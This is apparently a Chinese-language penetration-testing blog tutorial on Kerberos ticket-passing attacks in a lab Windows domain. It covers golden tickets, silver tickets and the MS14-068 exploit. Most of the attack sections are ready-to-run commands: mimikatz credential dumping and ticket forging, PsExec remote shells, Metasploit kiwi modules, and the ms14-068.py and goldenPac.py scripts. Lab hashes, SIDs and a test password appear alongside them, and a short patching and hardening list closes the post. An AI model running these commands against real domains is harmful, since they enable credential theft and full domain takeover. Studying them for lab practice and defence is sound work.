内网渗透之票据传递攻击

2021-11-19 15:26:17 浏览数 (1)

欢迎关注我的微信公众号《壳中之魂》

前面讲到了Kerberos协议认证的原理Kerberos协议认证过程 - 云 社区 - 腾讯云 (tencent.com)

理解Kerberos协议认证的原理有助于我们理解漏洞的利用原理

黄金票据(Golden ticket)

黄金票据的出发点是在Client和DC交互这一过程的第一部分之中,AS会对通过验证的Client发送AS_REP,这里面包含了两部分:

第一部分是AS生成的临时密钥Session-key,然后使用Client的NTLM-Hash加密;

第二部分是使用用户Krbtgt的NTLM-Hash加密的Session-key(AS生成的)、时间戳以及一些用户信息,也就是TGT

如果我们可以拿到Krbtgt用户的NTLM_Hash,我们就可以伪造TGT,能够绕过对任意用户的账号策略,让用户成为任意组的成员,可用于 Kerberos 认证的任何服务。

然而拿到Krbtgt用户的NTLM_Hash就意味着我们要拿到域控DC的权限,所以黄金票据(Golden ticket)更多情况下是作为后门,如果应为某种特殊的原因失去了对DC的控制权限,但是管理员没有修改Krbtgt用户的密码,那么就可以使用黄金票据重新获得域管理员权限。

使用黄金票据来进行票据传递攻击的先决条件为:

  • 域名
  • 需要伪造的域管理员用户名
  • 域SID
  • krbtgt的NTLM-Hash

环境

kali's ip:192.168.137.115

win7's ip:192.168.137.198

windows server 2016(DC)'s ip:10.10.10.10

windows server 2012's ip1:10.10.10.11;ip2:192.168.137.115

使用mimikatz

我们通过mimikatz来抓取DC的Krbtgt用户的NTLM_Hash,首先先将mimikatz上传到DC

在上传的过程中会被杀软杀掉,我模拟的环境中DC没有安装额外的杀软,只附带了默认的windows Defender,但是仍然会被杀掉

最后只剩下两个文件,但是依然可以正常使用

代码语言:javascript复制
privilege::debug
lsadump::lsa /patch //专用于在域控制器上导出用户密码或hash

由此我们可以得到

  • 域SID:S-1-5-21-3960071969-2362883727-1949664287
  • krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0

再使用mimikatz生成TGT凭证

  • 域名:g1ts.com
  • 需要伪造的域管理员用户名:administrator
  • 域SID:S-1-5-21-3960071969-2362883727-1949664287
  • krbtgt的NTLM-Hash:6e29949b6be5db95085477551f347ea0
代码语言:javascript复制
//kerberos::golden /user:[username] /domain:[domain] /sid:[sid] /krbtgt:[krbtgt's Hash] /ticket:ticket.kirbi
kerberos::golden /user:administrator /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /krbtgt:6e29949b6be5db95085477551f347ea0 /ticket:ticket.kirbi

然后将mimikatz上传到windows server 2012,将凭证注入

代码语言:javascript复制
#kerberos::ptt <票据文件>
kerberos::ptt ticket.kirbi

可以用一下命令来查看注入的票据

代码语言:javascript复制
kerberos::tgt

一开始windows server 2012运行命令的情况如下

注入票据后运行命令的结果如下

如果注入票据后无法远程访问域控,可以先将内存中的票据清除

代码语言:javascript复制
kerberos::purge

然后再选择注入票据

联动PsExec

psexec包含在pstools工具包中,pstools的下载地址:https://download.sysinternals.com/files/PSTools.zip

参数解释

  • -accepteula:默认同意用户协议(即第一次使用询问是否同意用户协议,使用此参数则默认同意不会弹窗)
  • -s:返回一个system权限的shell,如果不加此参数则返回一个管理员权限(administrator)的shell

在使用Psexec执行远程命令时,会在目标系统中创建一个psexec服务。命令执行后, psexec服务将被自动删除。由于创建或删除服务时会产生大量的日志,可以在进行攻击溯源时通过日志反推攻击流程。

远程执行命令

代码语言:javascript复制
psexec.exe -accepteula \WinSer2016 cmd.exe /c "ipconfig"

反弹新的shell

代码语言:javascript复制
PsExec64.exe -accepteula \WinSer2016 -s cmd.exe

使用Metasploit

其实原理也是使用msf的mimikatz(kiwi),所以首先要先获得一个meterpreter

然后加载kiwi

kiwi的命令和mimikatz还是有点不一样的

代码语言:javascript复制
//golden_ticket_create -d [domain] -k [krbtgt's Hash] -s [sid] -u [username] -t [path]
golden_ticket_create -d g1ts.com -k 6e29949b6be5db95085477551f347ea0 -s S-1-5-21-3960071969-2362883727-1949664287 -u administrator -t /root/桌面/others/ntds.dit

//查看本地储存的票据
kerberos_ticket_list
//将票据注入内存
kerberos_ticket_use /root/桌面/others/ntds.dit

白银票据(Silver ticket)

白银票据原理不同于黄金票据,白银票据不需要访问KDC,而是通过已知的授权服务密码生成一张可以访问该服务的TGT,由于不需要使用KDC,所以隐蔽性较强

使用白银票据的先决条件:

  • 域名
  • 域SID
  • 服务账号的NTLM-Hash
  • 要伪造的用户名
  • 域控IP
  • 可利用的服务

由于白银票据同样要使用到服务账号的NTLM-Hash,而这个Hash大概率也是需要拿到DC的权限才可以获得,所以白银票据大部分情况下也是作为后门存在

使用白银票据伪造CIFS服务权限

CIFS:用于windows主机之间进行网络文件共享

首先将mimikatz上传到DC,获得机器账号的哈希值

代码语言:javascript复制
privilege::debug
sekurlsa::logonpasswords

注意,这个NTLM是机器WinSer2016的Hash,并非是用户administrator的Hash

  • NTLM:6cb7dce4a6c2ad0956bde89dc28b4310
  • SID:S-1-5-21-3960071969-2362883727-1949664287
  • 注意:SID不取图片后面的-500

然后在windows server 2012生成白银票据

代码语言:javascript复制
//kerberos::golden /domain:[domain] /sid:[SID] /target:FQDN /rc4:[server's Hash] /service:[service] /user:[username] /ptt
kerberos::golden /domain:g1ts.com /sid:S-1-5-21-3960071969-2362883727-1949664287 /target:WinSer2016.g1ts.com /rc4:6cb7dce4a6c2ad0956bde89dc28b4310 /service:cifs /user:administrastor /ptt

一开始是无法直接远程访问DC的

使用白银票据后就可以了

如果使用命令

代码语言:javascript复制
dir \[computer's name]c$

不可以访问,可以尝试输入主机全名,即主机名加域名

代码语言:javascript复制
dir \WinSer2016.g1ts.comc$

MS14-068

之前的文章降到了PAC,以及PAC的作用,简单来说就是微软为了防止拿到Hash就可以随意的访问任何的服务,于是引入了PAC,在AS_REP中会包含PAC,PAC里面包含了用户的 SID、用户所在的组等一些信息,在最后Client尝试访问Server是,Server会将PAC扔给DC,让DC来判断此Client是否有权限访问Server。

但是在引入PAC的同时也产生了MS14-068这个漏洞该漏洞是位于kdcsvc.dll域控制器的密钥分发中心(KDC)服务中的Windows 漏洞,它允许经过身份验证的用户在其获得的票证TGT中插入任意的PAC 。普通用户可以通过改变了PAC的TGT来伪造票据获得管理员权限。

使用MS14-068的先决条件:

  • 域内任意⽤户 SID
  • 域内任意⽤户密码(经测试只能在 2008及以下的操作系统实现)

利用工具:WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

利用环境

  • 域控制器为window server 2008及以下(亲测)

首先我们需要域用户的用户名和密码

代码语言:javascript复制
username:testuser
password:admin!@#456

然后再获得域SID,可以使用这条命令

代码语言:javascript复制
whoami /user
  • SID:S-1-5-21-3935027624-4034083410-82536497-1105

使用MS14-068.exe

(因为重新搭建了一个域控制器,所以有一些设置和之前不一样)

然后通过利用工具成TGT票据

代码语言:javascript复制
MS14-068.exe -u [userName@domainName] -p [clearPassword] -s [userSid] -d [domainControlerAddr]
MS14-068.exe -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

成功生成名为TGT_testuser@g1ts.com.ccache的票据文件,然后我们需要注入此票据文件,在没有注入前是无法远程访问DC的

代码语言:javascript复制
//清空当前机器中所有凭证,如果有域成员凭证会影响凭证伪造
kerberos::purge
//查看当前机器凭证
kerberos::list
//将票据注⼊到内存中
kerberos::ptc [file name]

使用ms14-068.py

下载地址:windows-kernel-exploits/MS14-068/pykek at master · SecWiki/windows-kernel-exploits (github.com)

WindowsExploits/MS14-068 at master · abatchy17/WindowsExploits (github.com)

代码语言:javascript复制
//python ms14-068.py -u 域用户名@域名 -s 域用户sid -d 域控ip -p域用户密码
ms14-068.py -u testuser@test.com -p admin!@#456 -s S-1-5-21-3935027624-4034083410-82536497-1105 -d 10.10.10.60

使用GoldenPac.py

这个脚本一直运行错误,所以没办法动手实践了,所以就简单的记录一下使用方法

此脚本包含在impacket包中,为ms14-068和psexec的结合产物,使用起来更加的方便,而且可以直接走代理进入内网

在windows下运行:

代码语言:javascript复制
//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#456@WinSer2016.g1ts.com

在kali上运行:

由于kali默认没有安装kerberos认证功能,说以需要手动安装一个kerberos客户端

代码语言:javascript复制
apt-get install krb5-user

然后再使用

代码语言:javascript复制
//goldenPac.py -dc-ip 域控IP -target-ip 目标机IP 域名/普通域用户名:普通域用户密码@域控
python3 goldenPac.py -dc-ip 10.10.10.10 -target-ip 10.10.10.12 g1ts.com/testuser:admin!@#456@WinSer2016.g1ts.com

当然此工具不止是得到一个shell,我们甚至可以直接让该域控运行我们上传的程序,执行一个empire stager或者一个msf payload都不在话下。

使用Metasploit

使用模块

代码语言:javascript复制
auxiliary/admin/kerberos/ms14_068_kerberos_checksum

设置选项,rhost设置为域控制器地址,user和password为域用户的用户名和密码

然后生成的文件会存放在/root/.msf4/loot文件夹下,但是我们无法直接利用,我们需要使用mimikatz进行格式转换为kirbi文件

代码语言:javascript复制
kerberos::clist 20211012105258_default_10.10.10.10_windows.kerberos_215999.bin /export

可以看得到导出的路径和文件名,然后将其拷贝回kali,待一会使用,然后让目标机器上线msf

然后加载kiwi模块,导入刚才生成的票据

代码语言:javascript复制
kerberos_ticket_use /root/0-00000000-testuser@krbtgt-G1TS.COM.kirbi

但是我怎么都导入不进去,在网上找了很多篇文章,发现大部分的文章都是导入不进去或者,没过程的

如果导入成功就可以使用msf另一个模块

代码语言:javascript复制
exploit/windows/local/current_user_psexecset

设置好session和rhost为域控制器地址就可以进行攻击了

总结

  • 使用dir命令时,务必使用主机名。如果使用IP地址,就会导致错误。
  • 票据文件注入内存的默认有效时间为10小时。
  • 在目标机器上不需要本地管理员权限即可进行票据传递。
  • 票据传递比哈希传递要方便
  • 票据传递更实用
  • 票据传递成功率更高

防范

针对Kerberos域用户提权漏洞,有如下防范建议。

  • 开启Windows Update功能,进行自动更新。
  • 手动下载补丁包进行修复。微软已经发布了修复该漏洞的补丁,https://technet.microsoft.com/library/security/ms14-068
  • 对域内账号进行控制,禁止使用弱口令,及时、定期修改密码。
  • 在服务器上安装反病毒软件,及时更新病毒库。

0 人点赞